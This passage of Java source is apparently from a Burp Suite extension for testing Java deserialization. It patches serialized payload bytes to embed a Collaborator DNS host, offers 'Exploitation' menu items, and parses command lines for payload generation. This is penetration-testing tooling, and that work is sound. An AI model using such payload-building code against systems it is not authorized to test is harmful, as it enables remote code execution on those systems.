		preDNSVector[preDNSVector.length-1] = (byte)newCollaboratorVectorLength;
		byte[] newVector = ArrayUtils.addAll(preDNSVector, collaboratorURL.getBytes());
		newVector = ArrayUtils.addAll(newVector, postDNSVector);
		
		// Necessary in order to adjust one length in the serialization process
		if(payloadsDNStemplateImpl.contains(vectorKey)) {
			
			// f8 06 08 54 e0 02 00 00 78 70 00 00 06
			byte[] patternToSearch = {(byte)0xf8,(byte)0x06,(byte)0x08,(byte)0x54,(byte)0xe0,(byte)0x02,(byte)0x00,(byte)0x00,(byte)0x78,(byte)0x70,(byte)0x00,(byte)0x00,(byte)0x06};
			
			int indexOfPattern = helpers.indexOf(newVector,patternToSearch,false,0,newVector.length);
			
			newVector[indexOfPattern+13] = (byte)(newVector[indexOfPattern+13] + (newCollaboratorVectorLength - 5));
									
		}
		
		return newVector;
		
	}
	
	public byte[] createUrlDnsVector(byte[] origVector, String collaboratorURL) {
		
		String firstValueToSearch = "http://XXXXX.it";
		String collaboratorUrlFirst = "http://" + collaboratorURL;
		int collaboratorFirstLength = collaboratorUrlFirst.length();
			
		int indexFirstCharacterFirstValueToSearch = helpers.indexOf(origVector, firstValueToSearch.getBytes(), true, 0, origVector.length);
		int indexLastCharacterFirstValueToSearch = indexFirstCharacterFirstValueToSearch + firstValueToSearch.length() -1;
		byte[] preDNSVectorFirstValueToSearch = Arrays.copyOfRange(origVector, 0, indexFirstCharacterFirstValueToSearch);
		byte[] postDNSVectorFirstValueToSearch = Arrays.copyOfRange(origVector, indexLastCharacterFirstValueToSearch+1, origVector.length);
		preDNSVectorFirstValueToSearch[preDNSVectorFirstValueToSearch.length-1] = (byte)collaboratorFirstLength;
		byte[] tempVector = ArrayUtils.addAll(preDNSVectorFirstValueToSearch, collaboratorUrlFirst.getBytes());
		tempVector = ArrayUtils.addAll(tempVector, postDNSVectorFirstValueToSearch);
		
		//0x08 (len) + XXXXX.it
		byte[] secondValueToSearch = {(byte)0x08,(byte)0x58,(byte)0x58,(byte)0x58,(byte)0x58,(byte)0x58,(byte)0x2e,(byte)0x69,(byte)0x74};
		String collaboratorUrlSecond = collaboratorURL;
		int collaboratorSecondLength = collaboratorURL.length();
		
		int indexFirstCharacterSecondValueToSearch = helpers.indexOf(tempVector, secondValueToSearch, true, 0, tempVector.length) + 1; //First researched char is length, the +1 skip to first char of the string
		int indexLastCharacterSecondValueToSearch = indexFirstCharacterSecondValueToSearch + secondValueToSearch.length -2;
		byte[] preDNSVectorSecondValueToSearch = Arrays.copyOfRange(tempVector, 0, indexFirstCharacterSecondValueToSearch);
		byte[] postDNSVectorSecondValueToSearch = Arrays.copyOfRange(tempVector, indexLastCharacterSecondValueToSearch+1, tempVector.length);		
		preDNSVectorSecondValueToSearch[preDNSVectorSecondValueToSearch.length-1] = (byte)collaboratorSecondLength;
		byte[] newVector = ArrayUtils.addAll(preDNSVectorSecondValueToSearch, collaboratorUrlSecond.getBytes());
		newVector = ArrayUtils.addAll(newVector, postDNSVectorSecondValueToSearch);
		
		return newVector;
		
	}

	public List<JMenuItem> createMenuItems(IContextMenuInvocation invocation) {
		
		selectedItems = invocation.getSelectedMessages();		
		
		List<JMenuItem> menu = new ArrayList<JMenuItem>();
		
		JMenuItem itemManualTesting = new JMenuItem("Send request to DS - Manual testing");
		itemManualTesting.setActionCommand("sendToDeserializationTester");
		itemManualTesting.addActionListener(this);
		
		JMenuItem itemExploitation = new JMenuItem("Send request to DS - Exploitation");
		itemExploitation.setActionCommand("sendToDeserializationTesterExploitation");
		itemExploitation.addActionListener(this);		
		
		menu.add(itemManualTesting);
		menu.add(itemExploitation);
		
		return menu;
	}

	public IHttpService getHttpService() {
		return currentExploitationRequestResponse.getHttpService();
	}

	public byte[] getRequest() {
		return currentExploitationRequestResponse.getRequest();
	}

	public byte[] getResponse() {
		return currentExploitationRequestResponse.getResponse();
	}
	
	public static String[] translateCommandline(String toProcess) {
        if(toProcess != null && toProcess.length() != 0) {
            boolean normal = false;
            boolean inQuote = true;
            boolean inDoubleQuote = true;
            byte state = 0;
            StringTokenizer tok = new StringTokenizer(toProcess, "\"\' ", true);
            ArrayList result = new ArrayList();
            StringBuilder current = new StringBuilder();
            boolean lastTokenHasBeenQuoted = false;

            while(true) {
                while(tok.hasMoreTokens()) {
                    String nextTok = tok.nextToken();
                    switch(state) {
                    case 1:
                        if("\'".equals(nextTok)) {
                            lastTokenHasBeenQuoted = true;
                            state = 0;
                        } else {
                            current.append(nextTok);
                        }
                        continue;
                    case 2:
                        if("\"".equals(nextTok)) {
                            lastTokenHasBeenQuoted = true;
                            state = 0;
                        } else {
                            current.append(nextTok);
                        }
                        continue;
                    }

                    if("\'".equals(nextTok)) {
                        state = 1;
                    } else if("\"".equals(nextTok)) {
                        state = 2;
                    } else if(" ".equals(nextTok)) {
                        if(lastTokenHasBeenQuoted || current.length() != 0) {
                            result.add(current.toString());
                            current.setLength(0);
                        }
                    } else {
                        current.append(nextTok);
                    }

                    lastTokenHasBeenQuoted = false;
                }

                if(lastTokenHasBeenQuoted || current.length() != 0) {
                    result.add(current.toString());
                }

                if(state != 1 && state != 2) {
                    return (String[])result.toArray(new String[result.size()]);
                }

                throw new RuntimeException("unbalanced quotes in " + toProcess);
            }
        } else {
            return new String[0];
        }
    }

    private byte[] gzipData(byte[] input) {
        //Try to gzip compress the given string
        try {
            ByteArrayOutputStream outbytes = new ByteArrayOutputStream(input.length);
            GZIPOutputStream gzip = new GZIPOutputStream(outbytes);
            gzip.write(input);
            gzip.close();
            return outbytes.toByteArray();
        }
        catch (Exception ex) {
            stderr.println("Error gzip compressing input - " + ex.getMessage());
            return "ERROR in GZIP Compress".getBytes();
        }
    }

 	
}

